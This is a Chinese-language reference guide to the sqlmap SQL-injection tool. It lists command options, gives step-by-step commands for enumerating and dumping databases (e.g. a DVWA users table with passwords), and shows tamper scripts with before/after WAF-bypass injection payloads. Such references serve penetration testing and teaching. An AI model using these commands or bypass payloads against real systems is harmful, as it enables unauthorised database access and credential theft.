SQLMAP命令詳解


Options

--version:顯示當前sqlmap的版本號

-h:顯示幫助信息

-hh:顯示詳細的幫助信息

-v VERBOSE:詳細級別,VERBOSE為數字,默認為1

Target

-d DIRECT:直接連接到數據庫

-u URL --url=URL:目標地址(URL)

-l LOGFILE:從Burp或WebScarab代理的日志中解析目標

-x SITEMAPURL:從一個XML文件中解析目標

-m BULKFILE:掃描文本文件中的多個目標

-r REQUESTFILE:從文件中導入HTTP請求(通常用於檢查POST請求中的SQL注入)

-g GOOGLEDORK:處理Google Dork的結果作為目標URL

-c CONFIGFILE:從ini文件中加載選項

Request

--method=MEHOTD:強制指定HTTP方法(如PUT)

--data=DATA:指定POST請求的參數

--param-del=PARAMDEL:指定參數的分隔符(如:&)

--cookie=COOKIE:指定HTTP請求的Cookie

--cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分號;)

--load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的文件

--drop-set-cookie:忽略返回包中的Set-Cookie字段

--user-agent:指定HTTP頭部的user-agent值

--random-agent:設置隨機的HTTP User-Agent

--host=HOST:指定HTTP頭部的host值

--referer=REFERER:指定HTTP頭部中的referer值

-H=HEADER:指定HTTP其他頭部信息

--headers=HEADERS:指定HTTP其他頭部信息

--auth-type=AUTHTYPE:指定HTTP的認證類型(Basic,Digest,NTLM,PKI)

--auth-cred=AUTHCRED:指定HTTP認證憑證(name:password)

--auth-file=AUTHFILE:指定HTTP認證PEM認證/私鑰文件

--ignore-code=IGNORECODE:忽略指定的HTTP錯誤碼(如:401)

--ignore-proxy:忽略系統默認代理

--ignore-redirects:忽略重定向嘗試

--ignore-timeouts:忽略連接超時

--proxy=PROXY:指定代理地址

--proxy-cred=PROXYCRED:指定代理認證憑據(name:password)

--proxy-file=PROXYFILE:從指定文件中加載代理數據

--tor:使用tor匿名網絡(通常需要提高默認的響應時長,且需要指定Tor的代理地址)

--tor-port=TORPORT:設置TOR代理的端口(修改默認端口)

--tor-type=TORTYPE:設置TOR代理的類型(HTTP,SOCKS4,SOCKS5默認)

--check-tor:檢查tor能否正常使用

--delay=DELAY:設置每個HTTP請求的間隔時間(單位:秒)

--timeout=TIMEOUT:設置超時連接前等待的時間(單位:秒)

--retries=RETRIES:設置連接超時重新嘗試的次數(默認為3)

--randomize=RPARAM:隨機更改給定參數的值

--safe-url=SAFEURL:指定在測試期間頻繁訪問的URL

--safe-post=SAFEPOST:POST數據發送到安全URL

--safe-req=SAFEREQ:從文件中加載HTTP請求

--safe-freq=SAFEFREQ:在兩次訪問安全網址之間的測試請求

--skip-urlencode:跳過經過URL編碼的payload數據

--csrf-token=CSRFTOKEN:指定CSRF-TOKEN值

--csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值

--force-ssl:強制使用SSL協議

--hpp:使用HTTP參數pollution的方法

--eval:評估請求之前提供Python代碼

Optimization

-o:開啟所有優化開關

--predict-output:預測常見的查詢輸出

--keep-alive:使用持久的HTTP(S)連接

--null-connection:從沒有實際的HTTP響應體中檢索頁面長度

--threads=THREADS:設置請求的並發數

Injection

-p TESTPARAMETER:指定需要測試的參數

--skip=SKIP:跳過指定參數的測試

--skip-static:跳過非動態參數的測試

--param-exclude=PARAMEXCLUDE:使用正則排除要測試的參數

--dbms=DBMS:強制指定數據庫管理系統的類型

--dbms-cred=DBMSCRED:指定DBMS認證憑證(name:password)

--os=OS:指定后端DBMS的操作系統

--invalid-logical:使用大數字使值無效

--invalid-string:使用隨機字符串使值無效

no-cast:關閉有效載荷

--no-escape:關閉字符串轉義機制

--prefix=PREFIX:注入payload字符串前綴

--suffix=SUFFIX:注入payload字符串后綴

--tamper=TAMPER:使用給定腳本篡改注入數據

Detection

--level=LEVEL:指定執行檢測的等級(1-5,默認為1)

--risk=RISK:指定執行檢測的風險(1-5,默認為1)

--string=STRING:查詢有效時在頁面匹配字符串

--not-string=NOTSTRING:查詢無效時在頁面匹配字符串

--regexp=REGEXP:查詢有效時在頁面匹配正則表達式

--code=CODE:查詢有效時匹配的HTTP返回碼

--text-only:基於文本內容比較網頁

--titles:基於標題比較網頁

Techniques

--technique=TECH:指定SQL注入的技術(默認為BEUST)

--time-sec=TIMESEC:DBMS響應的延遲時間

--union-cols=UCOLS:指定UNION查詢注入使用的列

--union-char=UCHAR:指定暴力猜解列數的字符

--union-from=UFROM:指定UNION查詢注入的FROM部分使用的表

--dns-domain=DNSDOMAIN:域名用於DNS漏出攻擊

Enumeration

-a--all:檢索一切

-b,--banner:檢索數據庫管理系統的標識

--current-user:檢索數據庫管理系統的當前用戶名

--current-db:檢索DBMS的當前數據庫名稱

--hostname:檢索數據庫服務器的主機名

--is-dba:檢測DBMS當前用戶是否為DBA

--users:枚舉DBMS的用戶名

--passwords:枚舉DBMS用戶密碼哈希

--privileges:枚舉DBMS用戶的權限

--roles:枚舉DBMS用戶的角色

--dbs:枚舉DBMS所有的數據庫名稱

--tables:枚舉DBMS數據庫中所有的表

--columns:枚舉DBMS數據庫表中所有的列名

--schema:枚舉數據庫架構

--count:檢索表的記錄數

--dump:轉儲DBMS的數據庫中的表項

--dump-all:轉儲DBMS的數據庫中的所有表項

--search:搜索列、表、數據庫名稱

--commnets:檢索數據庫的comments

-D DB:指定要枚舉的數據庫名稱

-T TBL:指定要枚舉的數據表名稱

-C COL:指定要枚舉的數據庫列名

-X EXCLUDECOL:指定不要枚舉的數據庫列名

-U USER:指定要進行枚舉的數據庫用戶名

--exclude-sysdbs:枚舉表時排除系統數據庫

--where=DUMPWHERE:使用WHERE條件表轉儲

--start=LIMITSTART:第一個查詢輸出進入檢索

--stop=LIMITSTOP:最后查詢的輸出進入檢索

--first=FIRSTCHAR:第一個查詢輸出字的字符檢索

--last=LASTCHAR:最后查詢的輸出字字符檢索

--sql-query=QUERY:要執行的SQL語句

--sql-file=SQLFILE:從給定文件中執行SQL語句

  1. HTTP Get請求

    ## 指定參數和Cookie
    sqlmap -u "http://xxx.com/1.php?id=1" --cookies="COOKIE" -p id
    
    ## 忽略參數,指定分隔符
    sqlmap -u "http://xxx.com/1.php?id=1&username=jack" --param-del=& --skip=username
    
  2. HTTP Post請求

    ## 直接從文件導入
    sqlmap -r 1.txt -p id
    
    ## 自定義
    sqlmap -u "http://xxx.com/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id
    

一般的注入步驟

  1. 檢查是否存在注入

    sqlmap -r 1.txt -p id

  2. 簡單的信息獲取

    ## 獲取數據庫版本信息
    sqlmap -r 1.txt -p id --banner
    ## 獲取當前數據庫名稱
    sqlmap -r 1.txt -p id --current-db
    ## 獲取數據庫中所有數據庫名稱
    sqlmap -r 1.txt -p id --dbs
    ## 獲取數據庫當前用戶名
    sqlmap -r 1.txt -p id --current-user
    ## 獲取數據庫所有用戶名
    sqlmap -r 1.txt -p id --users
    ## 檢查數據庫當前用戶是否為DBA
    sqlmap -r 1.txt -p id --is-dba
    
  3. 獲取數據庫中的數據

    ## 獲取數據表名稱
    sqlmap -r 1.txt -p id -D dvwa --tables
    ## 獲取數據表中的列名稱
    sqlmap -r 1.txt -p id -D dvwa -T users --columns
    ## 獲取單個表中自定義列中的數據
    sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump
    ## 獲取單個表數據
    sqlmap -r 1.txt -p id -D dvwa -T users --dump
    ## 獲取單個數據庫中所有表中的數據
    sqlmap -r 1.txt -p id -D dvwa --dump
    

tamper介紹

數據庫 腳本名 描述 舉例
通用 apostrophemask.py utf8替代引號
base64encode.py 用base64編碼轉換
multiplespaces.py 圍繞SQL關鍵字添加多個空格
space2plus.py 用+替換空格
nonrecursivereplacement.py 雙重查詢語句
space2randomblank.py 用一個隨機的空白字符替換空格字符
unionalltounion.py 用UNION SELECT替換UNION ALL SELECT
securesphere.py 追加自定義字符串
mssql space2hash.py 空格替換為#號、隨機字符串、換行符
equaltolike.py LIKE替換等於號(=)
space2mssqlblank.py 用其他空符號替換空格字符
space2mssqlhash.py 用%23%0A替換空格字符
between.py 用between替換大於號
percentage.py 在每個字符前添加%
sp_password.py 在有效載荷后添加sp_password
charencode.py url編碼
randomcase.py 隨機大小寫
charunicodeencode.py unicode編碼字符串
space2comment.py 用注釋替換空格
mysql equaltolike.py like代替等號(=)
greatest.py 繞過對大於號的過濾,用GREATEST替換大於號
apostrophenullencode.py 繞過對雙引號的過濾,替換字符和雙引號
ifnull2ifisnull.py 繞過對IFNULL的過濾,用IF(ISNULL(A),B,A)代替IFNULL
space2mssqlhash.py 用%23%0A替換空格
modsecurityversioned.py 過濾空格,包含完整的查詢版本注釋
space2mysqlblank.py 用其他空白字符替換空格
between.py 用between替換大於號
modsecurityzeroversioned.py 包含了完整的查詢與零版本注釋
space2mysqldash.py 用--%0A替換空格字符
bluecoat.py 用隨機空白字符替換空格,用LIKE替換等於號(=)
percentage.py 在每個字符前加百分號
charencode.py url編碼
randomcase.py 隨機大小寫
versionedkeywords.py 用版本化的MySQL注釋包含每個非函數關鍵字
space2comment.py 用注釋替換空格
charunicodeencode.py 用unicode編碼字符串
versionedmorekeywords.py 用更多的版本化的MySQL注釋包含每個非函數關鍵字
halfversionedmorekeywords.py 關鍵字前加注釋
space2morehash.py 空格替換為#號和其他隨機字符串
oracle greatest.py 用GREATEST替換大於號
apostrophenullencode.py 繞過過濾雙引號,替換字符和雙引號
between.py 用between替換大於號
charencode.py url編碼
randomcase.py 隨機大小寫
charunicodeencode.py unicode編碼
space2comment.py 用注釋替換空格
Access appendnullbyte.py 在有效載荷結束位置加零字節字符編碼

腳本及功能介紹

space2plus

用+替換空格

// old
select id from users
// new
select+id+from+users

space2hash

空格替換為#號(%23) 隨機字符串 換行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2morehash

空格替換為#號(%23) 更多隨機字符串 換行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2mysqldash

替換空格為--%0A

// old
1 and 2=2
// new
1--%0Aand--%0A2=2

space2randomblank

將空格替換為隨機空白字符的字符集

// old
select id from users
// new
select%0Did%0Dfrom%0Ausers

space2mssqlblank

空格替換為其他空白字符

// old
select id from users
// new
select%08id%02from%0Fusers

space2mssqlhash

空格替換為%23%0A

// old
1 and 2=2
// new
1%23%0Aand%23%0A2=2

space2comment

空格替換為注釋

// old
select id from users
//new
select//id//from/**/users

between

將大於號(>)替換為between

// old
1 and A>B
// new
1 and A not between 0 and B

greatest

將大於號(>)替換為greatest

// old
1 and A>B
// new
1 and greatest(A,B+1)=A

equaltolike

將等於號(=)替換為like

// old
select * from users where id=1
// new
select * from users where id like 1

bluecoat

將空格替換為一個隨機的空白字符,同時將等於號(=)替換為like

// old
select id from users where id=1
// new
select%09id from users where id like 1

modsecurityversioned

將空格替換為包含完整版本注釋的字符串(當MySQL的版本大於等於指定的版本號時才會執行注釋中的語法)

// old
1 and 2>1-- 
// new
1/*!30874AND 2>1*/--

modsecurityzeroversioned

將空格替換為包含完整版本注釋與零版本注釋的字符串

// old
1 and 2>1
// new
1/*!00000and 2>1*/--

versionedkeywords

為每個非函數關鍵字添加版本注釋

// old
1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
// new
1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

versionedmorekeywords

為每個關鍵字添加版本注釋

// old
1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
// new
1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

halfversionedmorekeywords

為每個關鍵字前添加注釋 /*!0

// old
value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDW'='QDWa
// new
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND 'QDW'='QDWa

multiplespaces

圍繞SQL關鍵字添加空格

// old
1 union select foobar
// new
1 union  select  foobar

nonrecursivereplacement

雙重查詢語句

// old
1 union select 2--
// new
1 ununionion selselectect 2--

unionalltounion

將union all select替換為union select

// old
1 union all select
// new
1 union select

securesphere

追加特制字符串

// old
1 and 1=1
// new
1 and 1=1 and 'ok'='ok'

percentage

每個字符前添加百分號(%)

// old
select id from users
// new
%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%s

appendnullbyte

在有效載荷末尾位置加載字節字符編碼

// old
1 and 1=1
// new
1 and 1=1%00

randomcase

隨機大小寫

// old
insert
// new
InsErT

charencode

對所有字符串進行url編碼

// old
SELECT FIELD FROM TABLE
// new
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

chardoubleencode

對所有字符串進行雙重url編碼

// old
SELECT FIELD FROM TABLE
// new
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charunicodeencode

對所有字符串進行unicode編碼

// old
SELECT FIELD FROM TABLE
// new
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

base64encode

對所有字符串進行base64編碼

// old
1 and 1=1#
// new
MSBhbmQgMT0xIw==

總結

空格處理

  • space2plus.py
  • space2hash.py
  • space2morehash.py
  • space2mysqldash.py
  • space2randomblank.py
  • space2mssqlblank.py
  • space2mssqlhash.py
  • space2comment.py
  • modsecurityversioned.py
  • modsecurityzeroversioned.py

大於號處理

  • between.py
  • greatest.py

等於號處理

  • equaltolike.py
  • bluecoat.py

引號處理

  • apostrophemask.py:utf8替換引號
  • apostrophenullencode.py :替換字符和雙引號

關鍵字處理

  • versionedkeywords.py

  • versionedmorekeywords.py

  • halfversionedmorekeywords.py

  • multiplespaces.py:多個關鍵字前加空格

  • nonrecursivereplacement.py:雙重關鍵字

  • unionalltounion.py:union select替換union all select

  • securesphere.py:追加特制字符串

  • percentage.py:每個字符前加%

  • appendnullbyte.py:末尾添加零字節編碼

語句處理

  • randomcase.py:大小寫混淆
  • charencode.py:url編碼
  • chardoublecode.py:雙重url編碼
  • charunicodeencode.py:unicode編碼
  • base64encode.py:base64編碼


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM